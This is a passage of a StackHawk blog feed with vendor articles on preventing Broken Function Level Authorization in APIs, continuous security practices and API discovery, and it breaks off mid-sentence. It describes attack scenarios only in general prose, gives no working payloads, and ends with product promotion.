BFLA&lt;/h2&gt;&lt;p&gt;BFLA vulnerabilities typically stem from development practices prioritizing ease of implementation without considering authorization controls to safeguard data and functions. Let&amp;#39;s take a quick look at the most common factors contributing to the appearance of BFLA vulnerabilities within APIs.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Over-reliance on Object Identifiers:&lt;/b&gt; When APIs use predictable object references (like sequential IDs or easily guessable strings), attackers can manipulate them with simple changes in API requests, opening the door to unauthorized data access.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Lack of Ownership and Permission Verification:&lt;/b&gt; APIs must consistently verify two things on every request: &lt;i&gt;that the user attempting an action owns the object they&amp;#39;re targeting&lt;/i&gt; and that &lt;i&gt;the user has the necessary permissions for that action&lt;/i&gt;. Omitting these verifications increases the risk of a BFLA vulnerability.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Blind Trust in User Input:&lt;/b&gt; Any data a user provides, including object identifiers and function parameters, must be treated as raw and potentially malicious. Thorough input validation and sanitization are essential to prevent injection attempts designed to break the API&amp;#39;s logic.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Insufficient Focus on Authorization:&lt;/b&gt; Security can sometimes become an afterthought in development. This can lead to inconsistent authorization across different API endpoints or a complete lack of protection for specific functions. Unfortunately, some developers may not be aware that these types of attacks are possible, so authorization mechanisms are not included in the APIs&amp;#39; design.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;The Fallacy of Obscurity:&lt;/b&gt; Developers might wrongly assume that using long, hard-to-guess object identifiers (e.g., UUIDs) is sufficient. These identifiers are better than sequential ones; however, determined attackers will still find ways to discover or predict them. Security through obscurity should not be relied upon.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;When boiled down, BFLA is simply a failure to explicitly and meticulously implement both object-level and function-level authorization checks within the API. Much of the time, convenience and a false sense of security are at the root of this vulnerability. The desire to move quickly must never override robust authorization mechanisms.&lt;/p&gt;&lt;h2&gt;Examples of BFLA in Action&lt;/h2&gt;&lt;p&gt;In addition to the example discussed in the previous section, there are quite a few other ways this vulnerability can manifest and be executed. Below, we will look at a few simple example attack scenarios where a BFLA vulnerability is being exploited.&lt;/p&gt;&lt;h3&gt;Scenario #1: E-commerce Cart Manipulation&lt;/h3&gt;&lt;p&gt;In our first example, imagine an online store where users can buy various items through a checkout. As part of the online stores API, users&amp;#39; shopping carts are managed through an API call that allows items to be added or removed from their cart. This API may look similar to this:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;If the API fails to verify that the &lt;b&gt;userID&lt;/b&gt; matches the logged-in user, an attacker could modify other shoppers&amp;#39; carts. They could add expensive items, remove items to prevent purchase, or even alter prices at checkout. The result could upset customers and have an impact on operations and revenue.&lt;/p&gt;&lt;h3&gt;Scenario #2: IoT Device Sabotage&lt;/h3&gt;&lt;p&gt;Next, imagine a smart home system with API controls for various devices. These devices can be manipulated through a &lt;b&gt;POST&lt;/b&gt; request and a specific action. An example of such an endpoint might look like this:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;If the device associated with the &lt;b&gt;DeviceID&lt;/b&gt; is not verified to belong to the user initiating the request and the API doesn&amp;#39;t carefully restrict actions based on user roles, unauthorized control becomes possible. If authorization checks aren’t properly implemented, an attacker could remotely turn off critical systems, lock users out of their homes, or create other disruptions within the smart home system.&lt;/p&gt;&lt;h3&gt;Scenario #3: Leaky News Feed Manipulation&lt;/h3&gt;&lt;p&gt;Lastly, imagine a news aggregator platform that users can use to get a customized news feed based on their preferences. In this case, there is an API to customize a user&amp;#39;s news feed through a &lt;b&gt;PATCH&lt;/b&gt; operation. This can set which news topics the user wants to see in their feed. Below is an example of what such an endpoint may look like.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;If the &lt;b&gt;userID&lt;/b&gt; is not validated by ensuring the user who is making the change is, in fact, the user to whom the account belongs, an attacker could inject malicious news sources or remove trusted ones. The result is a manipulated news feed that manipulates the information a user sees. In the most severe cases, this is a potential vector for spreading misinformation.&lt;/p&gt;&lt;p&gt;The key takeaway from these examples is that BFLA vulnerabilities can manifest in various applications, from e-commerce to smart home systems and even news consumption platforms. If an API is used to access, create, or edit data, BFLA vulnerabilities could impact it. This is where prevention becomes an important part of building and maintaining APIs, and we will cover how to protect against BFLA in the next section.&lt;/p&gt;&lt;h2&gt;Protecting Against BFLA&lt;/h2&gt;&lt;p&gt;With the various ways BFLA can be exploited, securing your APIs against BFLA requires a proactive approach. Core to this is a strategy that embeds authorization into the core of your API development process. Here are key strategies to consider and implement when building APIs to be hardened against &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Rethink Object Identifiers and Session Management:&lt;/b&gt; Avoid using simple, predictable object identifiers (like sequential numbers). Opt for more complex identifiers, like UUIDs, which are harder to guess. Implementing a session management system that associates object references with specific user sessions and their verified permissions may also make sense.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Meticulous Authorization Checks:&lt;/b&gt; Enforce authorization at every API endpoint. Verify the user&amp;#39;s identity and roles, and cross-reference their permissions with the data or function they&amp;#39;re attempting to access. This should be applied consistently across all business functions within your application.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Input Validation and Sanitization:&lt;/b&gt; Rigorously validate and sanitize any data provided by users, especially when used in object identifiers, function calls, or parameters. This defends against injection attacks aimed at subverting API logic.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Principle of Least Privilege:&lt;/b&gt; Grant users and system components the absolute minimum permissions required for their roles or tasks. This limits the potential damage if an account or component is compromised.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;API Gateways:&lt;/b&gt; Centralize authorization mechanisms with an API gateway for a more consistent and scalable security approach. An API gateway can make it easier to implement authorization checks across your API endpoints that proxy through the gateway.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Administrative Function Protection:&lt;/b&gt; Ensure that administrative functions (both within administrative controllers and regular controllers) have authorization checks based on user roles and groups.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Regular Testing:&lt;/b&gt; Integrate security testing, including DAST solutions specifically designed to find BFLA vulnerabilities, into your development lifecycle to continuously verify the effectiveness of your authorization controls. A combination of automated and manual testing is the best way to ensure endpoints are entirely secure from BFLA attacks.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Based on the last point, it makes sense to explore how StackHawk can help developers implement automated testing using its DAST platform to identify and remedy BFLA vulnerabilities. Next, let&amp;#39;s dig into how StackHawk works regarding BFLA detection.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;How StackHawk Can Help Detect and Prevent BFLA&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;When it comes to traditional DAST solutions, BFLA detection is not one of the vulnerabilities they are capable of discovering. Luckily, StackHawk goes beyond traditional DAST solutions by actively testing for BFLA and IDOR vulnerabilities.&lt;/p&gt;&lt;p&gt;StackHawk is a modern, powerful DAST tool designed for developers to integrate application security testing seamlessly into their software development lifecycle. It is not just another security tool; it&amp;#39;s a developer-first platform emphasizing automation, ease of use, and integration into existing development workflows.&lt;/p&gt;&lt;p&gt;At its core, StackHawk is built around empowering developers to take the lead in application security. It provides a suite of tools that make it easy to find, understand, and fix security vulnerabilities before they make it to production. One of the key components of StackHawk is HawkScan, a dynamic application security testing (DAST) tool that scans running applications and APIs to identify security vulnerabilities.&lt;/p&gt;&lt;p&gt;With StackHawk, developers and security teams can:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Automate Security Testing:&lt;/b&gt; Integrate security testing into CI/CD pipelines, ensuring every build is automatically scanned for vulnerabilities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Identify and Fix Vulnerabilities:&lt;/b&gt; Receive detailed, actionable information about each vulnerability, including where it is in the application code and how to fix it.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Test in All Environments:&lt;/b&gt; Use StackHawk in various environments, including development, staging, and production, to catch security issues at any stage of the development process.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Customize Scans:&lt;/b&gt; Tailor scanning configurations to suit specific applications and environments, ensuring more relevant and accurate results.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;By focusing on a developer-first approach to security testing and integrating smoothly into existing dev tools and practices, StackHawk demystifies application security, making it a more approachable and manageable part of the software development lifecycle. Next, we will look at exactly how simple it is to configure StackHawk to begin testing your applications for potential BFLA vulnerabilities.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Enabling BFLA Detection in HawkScan&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Enabling BFLA detection in StackHawk is easy. Two ways to do this are using the &amp;quot;OpenAPI - Experimental&amp;quot; policy or customizing an existing policy. The &amp;quot;OpenAPI - Experimental&amp;quot; policy allows users to scan for the vulnerabilities outlined in the OWASP API Security Top 10.&lt;/p&gt;&lt;p&gt;To set HawkScan up with the &amp;quot;OpenAPI - Experimental&amp;quot; policy, you will log into StackHawk, go to the &lt;b&gt;Applications&lt;/b&gt; screen, and click on the &lt;b&gt;settings&lt;/b&gt; link for your application.&lt;/p&gt;&lt;p&gt;Next, on the &lt;b&gt;Settings&lt;/b&gt; screen, under &lt;b&gt;HawkScan Settings&lt;/b&gt;, click the &lt;b&gt;Applied Policy&lt;/b&gt; dropdown and select the &amp;quot;OpenAPI - Experimental&amp;quot; policy.&lt;/p&gt;&lt;p&gt;At this point, you can then run HawkScan and begin detecting potential BFLA vulnerabilities. Another way to do this is to customize an existing policy to scan for BFLA vulnerabilities. &lt;/p&gt;&lt;p&gt;
To demonstrate this, we can navigate to the same &lt;b&gt;HawkScan Settings&lt;/b&gt; section we looked at above. We will select the &amp;quot;OpenAPI/REST API&amp;quot; policy from the &lt;b&gt;Applied Policy&lt;/b&gt; dropdown.&lt;/p&gt;&lt;p&gt;Next, click the &lt;b&gt;Edit Policy&lt;/b&gt; button right beside the dropdown.&lt;/p&gt;&lt;p&gt;On the next screen, under the &lt;b&gt;Plugins and Tests&lt;/b&gt; section, click on the &lt;b&gt;BFLA&lt;/b&gt; entry to enable HawkScan to perform tests for potential BFLA vulnerabilities.&lt;/p&gt;&lt;p&gt;Optionally, if you also want to enable &lt;b&gt;IDOR&lt;/b&gt; testing, click the &lt;b&gt;Passive Scan Plugins&lt;/b&gt; tab and then select &lt;b&gt;IDOR&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;Regardless of how you have enabled BFLA testing in HawkScan, your tests will include testing for potential BFLA vulnerabilities (and IDOR, if you enabled it)!&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Understanding BFLA is an essential part of creating secure APIs. However, implementing the necessary authorization mechanisms to protect against these vulnerabilities in real-world applications can be challenging for developers. To ensure that BFLA prevention is applied to API endpoints, organizations should aim to empower developers with the right tools and knowledge to make security a foundational element of API design.&lt;/p&gt;&lt;p&gt;StackHawk does more than just help developers identify potential BFLA vulnerabilities in running applications. It helps bridge the gap between finding and fixing flaws, offering clear explanations and step-by-step remediation advice while integrating seamlessly into existing development workflows. StackHawk’s “shift-left” approach makes API security more accessible and promotes a culture of secure coding practices among developers.&lt;/p&gt;&lt;p&gt;With StackHawk, you can take a proactive approach to finding and fixing BFLA threats before they can hit production. Detect and address vulnerabilities early, safeguarding your APIs and the sensitive data they handle. Sign up for a &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;14-day free trial&lt;/a&gt; of StackHawk and experience the difference it makes in tackling BFLA risks and broader API security challenges outlined in the OWASP API Top 10.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Modern Continuous Security: A Quick Start Guide to Securing Your Software Development Lifecycle]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/modern-continuous-security-a-quick-start-guide-to-securing-your-software</guid><category><![CDATA[Shifting Security Left]]></category><dc:creator><![CDATA[Nicole Jones]]></dc:creator><content:encoded>&lt;p&gt;Traditional security practices, often siloed and reactive, struggle to keep pace with the rapid development cycles of modern software. This is where the concept of &lt;b&gt;modern continuous security&lt;/b&gt; emerges as a game-changer.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What is Modern Continuous Security?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Modern continuous security represents a paradigm shift in how application security is approached. It&amp;#39;s a proactive methodology that embeds security practices throughout the entire &lt;b&gt;Software Development Lifecycle (SDLC)&lt;/b&gt;. Security is no longer viewed as a separate stage tacked onto the end of development; instead, it becomes an integral part of the entire process, woven seamlessly into every step.&lt;/p&gt;&lt;p&gt;Here&amp;#39;s a breakdown of the core tenets of modern continuous security:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Integration:&lt;/b&gt; Security practices are tightly integrated into the development workflow, fostering collaboration between developers and security professionals.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Automation:&lt;/b&gt; Repetitive security tasks are automated, freeing up security personnel to focus on more strategic initiatives.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Early Detection:&lt;/b&gt; Security vulnerabilities are identified and addressed as early as possible in the development process, minimizing the cost and effort of remediation.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Continuous Improvement:&lt;/b&gt; Security is treated as an ongoing process, with continuous monitoring, feedback, and improvement.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Benefits of Modern Continuous Security&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;By embracing modern continuous security, organizations can reap a multitude of benefits:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Enhanced Security Posture:&lt;/b&gt; Early identification and mitigation of vulnerabilities lead to more secure applications.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Faster Development Cycles:&lt;/b&gt; Automating security tasks and integrating security into the development workflow streamline the development process.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Reduced Costs:&lt;/b&gt; Fixing vulnerabilities early in the development process is significantly cheaper than remediating them later in the production cycle.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Improved Developer Productivity:&lt;/b&gt; By providing clear and actionable security feedback, developers can focus on writing secure code.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Increased Compliance:&lt;/b&gt; Continuous security practices help organizations meet regulatory compliance requirements.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Shift Left Security: A Cornerstone of Continuous Security&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;b&gt;Shift-left security&lt;/b&gt; is a cornerstone principle of modern continuous security. It emphasizes the importance of integrating security practices earlier in the SDLC, ideally as early as the design and planning stages. This doesn&amp;#39;t necessarily mean that all security testing should be done upfront. Instead, it advocates for incorporating security considerations throughout the development process.&lt;/p&gt;&lt;p&gt;Here&amp;#39;s how adopting a shift-left approach benefits organizations:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Reduced Rework:&lt;/b&gt; Identifying and fixing vulnerabilities early on prevents costly rework later in the development cycle.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Improved Code Quality:&lt;/b&gt; Security considerations woven into the design phase lead to the development of more secure code from the start.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Faster Time to Market:&lt;/b&gt; By addressing security concerns early, organizations can release applications to market faster.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;Implementing Continuous Security: A Practical Guide&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The transition to a continuous security model requires careful planning and execution. Here are some key steps organizations can take to get started:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Start Small:&lt;/b&gt; Don&amp;#39;t try to overhaul your entire security process overnight. Begin by implementing small, incremental changes and gradually build momentum.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Build a Security Culture:&lt;/b&gt; Foster a culture of security awareness within your organization by providing training and education for developers and other stakeholders.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Select the Right Tools:&lt;/b&gt; Invest in security tools that automate tasks, integrate seamlessly with your development workflow, and provide actionable security insights.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Embrace Automation:&lt;/b&gt; Automate repetitive security tasks such as code scanning and vulnerability assessments to free up security professionals for more strategic work.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Measure and Monitor:&lt;/b&gt; Continuously monitor the effectiveness of your security program and make adjustments as needed.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;The Three-Legged Stool of Organizational Change&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The successful implementation of continuous security requires a holistic approach that addresses three critical aspects:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;People:&lt;/b&gt; Invest in training and education programs to equip your team with the knowledge and skills required to implement continuous security practices.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Process:&lt;/b&gt; Update your development processes to integrate security considerations throughout the SDLC.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Technology:&lt;/b&gt; Implement the right security tools to automate tasks, provide continuous feedback, and enhance overall security posture.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;Continuous Security: A Journey, Not a Destination&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The journey towards achieving continuous security is an ongoing process, not a one-time event. By adopting a proactive and collaborative approach, organizations can establish a robust security posture that keeps pace with the ever-evolving threat landscape. By integrating security into the fabric of the SDLC, businesses can build more secure applications, accelerate development cycles, and gain a competitive edge in the marketplace.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;📺Watch the Webinar&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Watch the &lt;a href=&quot;https://youtu.be/nG7iEqXUJ2E?si=etyiZ9sJVLQsT5H8&quot;&gt;Secure with StackHawk: A Continuous Approach to Application and API Security&lt;/a&gt; webinar recording for a deeper dive into Modern Continuous Security.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[What is API Discovery? Everything You Need to Know]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/what-is-api-discovery-everything-you-need-to-know</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;APIs are the backbone of the modern digital ecosystem, fueling virtually every application we use. As the software landscape evolves into a more distributed architecture, driven by an extensive array of SaaS and web-based services, the reliance on and traffic to APIs surge. Monitoring API traffic is crucial for detecting anomalies and ensuring security. These interfaces provide developers with crucial advantages, enabling them to tap into pre-existing functionality, speed up the development process, and pioneer innovative solutions.&lt;/p&gt;&lt;p&gt;However, as applications and &lt;a href=&quot;https://www.bavest.co/en/post/portfolio-api-what-you-need-to-know#:~:text=A%20portfolio%20API%20enables%20automated,to%20data%20and%20automate%20processes.&quot;&gt;API portfolios&lt;/a&gt; become increasingly complex, maintaining a comprehensive understanding of all existing APIs becomes a significant challenge. APIs can quickly become obscured or forgotten in the sprawling landscape of microservices and interconnected systems.&lt;/p&gt;&lt;p&gt;This lack of visibility creates potential problems. It can lead to redundant development efforts, impede efficient code reuse, and present security risks if hidden or undocumented APIs contain vulnerabilities. This is where API discovery can lend a helping hand.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What Does API Discovery Mean?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;In the most basic terms,&lt;a href=&quot;https://www.stackhawk.com/solutions/api-discovery/&quot;&gt; &lt;u&gt;API discovery&lt;/u&gt;&lt;/a&gt; is the process of identifying, documenting, and understanding the APIs within a specific environment. As APIs are discovered, they can include those developed internally, those provided by third-party providers, and most crucially, &lt;i&gt;APIs that may be hidden or undocumented.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;It makes sense to think of API discovery as creating an up-to-date inventory of all the APIs, or more broadly, digital &amp;quot;connection points&amp;quot; within your systems. The API discovery process involves uncovering details such as:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Endpoints:&lt;/b&gt; The URLs that applications use to interact with the API.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Methods:&lt;/b&gt; The supported actions (GET, POST, PUT, DELETE, etc.).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Parameters:&lt;/b&gt; The data an API can accept and the responses it generates.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Authentication/Authorization:&lt;/b&gt; How the API ensures only permitted users or applications can access it.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;Why Does API Discovery Matter?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Regarding why API discovery matters, there are many reasons it can be helpful to developers and organizations. Some of these benefits include:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Prevents reinventing the wheel:&lt;/b&gt; Discovery can enhance API visibility, revealing existing APIs that solve the problem you&amp;#39;re tackling, saving you development time and resources.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Promotes innovation:&lt;/b&gt; Knowing what APIs are available unlocks new ideas for applications and integrations.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Simplifies collaboration:&lt;/b&gt; A shared API catalog facilitates teamwork by allowing teams to reuse well-defined APIs across projects.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;In addition, having a complete&lt;a href=&quot;https://www.stackhawk.com/blog/building-a-secure-api-ecosystem-starts-with-api-discovery/&quot;&gt; &lt;u&gt;API inventory&lt;/u&gt;&lt;/a&gt; allows organizations to understand which APIs are in use and which are not. If an API is not in use and not maintained, it could present a &lt;b&gt;major security risk&lt;/b&gt; that may be unknown if the API wasn&amp;#39;t uncovered as part of the discovery process. Whether big or small, if you are using and building APIs, API discovery should be part of your toolkit.&lt;/p&gt;&lt;h2&gt;Benefits of API Discovery&lt;/h2&gt;&lt;p&gt;API discovery offers numerous benefits that can significantly enhance an organization’s API strategy:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Improved Security&lt;/b&gt;: One of the primary advantages of API discovery is the identification of security vulnerabilities. By uncovering all APIs, including shadow and zombie APIs, organizations can address potential security risks, reducing the likelihood of data breaches and cyber attacks.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Enhanced Efficiency&lt;/b&gt;: Automated API discovery tools streamline the process of identifying and documenting APIs, saving valuable time and resources. This automation allows developers to focus on building and improving applications rather than manually tracking down APIs.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Better Collaboration&lt;/b&gt;: A centralized platform for API discovery fosters collaboration among developers. By providing easy access to a comprehensive API catalog, teams can avoid duplication of effort and leverage existing APIs to build new features and integrations more efficiently.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Increased Innovation&lt;/b&gt;: API discovery enables developers to explore and integrate new APIs into their applications. This access to a broader range of APIs drives innovation, allowing organizations to create more sophisticated and interconnected solutions.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;What Makes an API Discoverable?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Discovering APIs involves many potential processes, which will be discussed in the next section. However, it&amp;#39;s important to first consider some factors that make an API discoverable. Let&amp;#39;s examine a few best practices and key facets that contribute to the discoverability of APIs.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Clear and Comprehensive Documentation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Well-written documentation is the cornerstone of API discoverability. It should provide a thorough overview of the API&amp;#39;s purpose, how to use it, the different methods it supports, the parameters it accepts, expected responses, potential error codes, and illustrative examples.&lt;/p&gt;&lt;p&gt;Think of this documentation as a &lt;b&gt;user-friendly guidebook&lt;/b&gt; for your API. This point also includes following well-known documentation practices, such as creating an&lt;a href=&quot;https://help.stackhawk.com/en/articles/4576023-scanning-rest-apis-with-openapi&quot;&gt; &lt;u&gt;OpenAPI Specification (OAS)&lt;/u&gt;&lt;/a&gt; for your APIs.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Developer Portals&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;If you want to make an API easily discoverable, exposing it through a developer portal is a great idea. A&lt;a href=&quot;https://pronovix.com/blog/what-developer-portal&quot;&gt; &lt;u&gt;developer portal&lt;/u&gt;&lt;/a&gt; is like a central marketplace for your APIs. It lists available APIs, provides &lt;b&gt;powerful search functionality&lt;/b&gt;, and often includes features that allow for interactive testing of the APIs, such as Swagger UI. This enables developers to find the APIs they need quickly and experiment with them easily.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Descriptive and Standardized Naming Conventions&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.freecodecamp.org/news/programming-naming-conventions-explained/&quot;&gt;&lt;u&gt;Consistent naming conventions&lt;/u&gt;&lt;/a&gt; for endpoints and parameters significantly aid discoverability. Naming and parameters should be predictable and easily allow developers to understand your API&amp;#39;s structure. In addition to ensuring consistency, using meaningful names helps developers infer the functionality of an API &lt;i&gt;even before they have read the complete documentation.&lt;/i&gt;&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Adherence to Design Standards&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Using widely recognized standards such asorcan make your API more intuitive for developers. These standards establish familiar patterns and conventions, which lessen the learning curve for developers who are integrating with and utilizing your API, thus enhancing its discoverability.&lt;/p&gt;&lt;hr/&gt;&lt;p&gt;These points reflect more of a manual approach to API discovery. In these cases, following the above guidelines allows developers, internal or external, to quickly see what APIs are available and will enable them to use the APIs effectively. But what about &lt;b&gt;discovering hidden APIs&lt;/b&gt;? This is where automation can come in handy. Next, let&amp;#39;s compare automated and manual API discovery.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Manual vs. Automated API Discovery&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;As alluded to, there are two primary ways to approach API discovery. Both have particular use cases and methods associated with them. Let&amp;#39;s look at the differences between manual and automatic API discovery tools and techniques.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Manual Methods&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Manual methods are likely familiar to developers who use APIs. Many of these methods require a technical background and focus on discovering APIs before using them or figuring out which ones are currently used within a codebase. Here are a few ways developers can manually discover available or in-use APIs.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Code Review:&lt;/b&gt; Carefully scrutinizing source code to identify how APIs are defined and used.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Network Traffic Analysis:&lt;/b&gt; Inspecting network packets to trace communication patterns between applications, revealing API usage. Monitoring API traffic can help in identifying API usage and detecting anomalies.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Referencing Existing Documentation:&lt;/b&gt; Reviewing any available API documentation, system architecture diagrams, or developer notes.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;These manual techniques can be useful in certain scenarios, but they have limitations. They are often labor-intensive and time-consuming, and they can miss hidden APIs that do not leave obvious traces in the code or network traffic.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Automated Methods&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Specialized API discovery tools need to be used for automated methods of API discovery. These can involve tools built into API management platforms, API security platforms, and other tools that support discoverability. These tools are built to &lt;b&gt;scan systems, analyze network patterns, and even probe endpoints&lt;/b&gt; to actively uncover APIs. They provide a comprehensive, scalable, and efficient way to&lt;a href=&quot;https://www.stackhawk.com/blog/4-reasons-your-appsec-team-should-be-using-api-discovery-tools-unveiling-the-hidden-attack-surface/&quot;&gt; identify documented and hidden APIs&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Automated API discovery tools utilize API traffic data to identify calls within the network, contributing to effective management and oversight of API interactions. Other solutions, such as StackHawk, can scan through a code repository to find potential endpoints written within the code.&lt;/p&gt;&lt;p&gt;Quite a few tools are available to fully leverage automated API discovery. Most of them are within API management and security platforms.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;API Management Platforms and Gateways:&lt;/b&gt; Gateways, such as Kong or Apigee, often include API discovery capabilities because they control traffic and offer insights into API 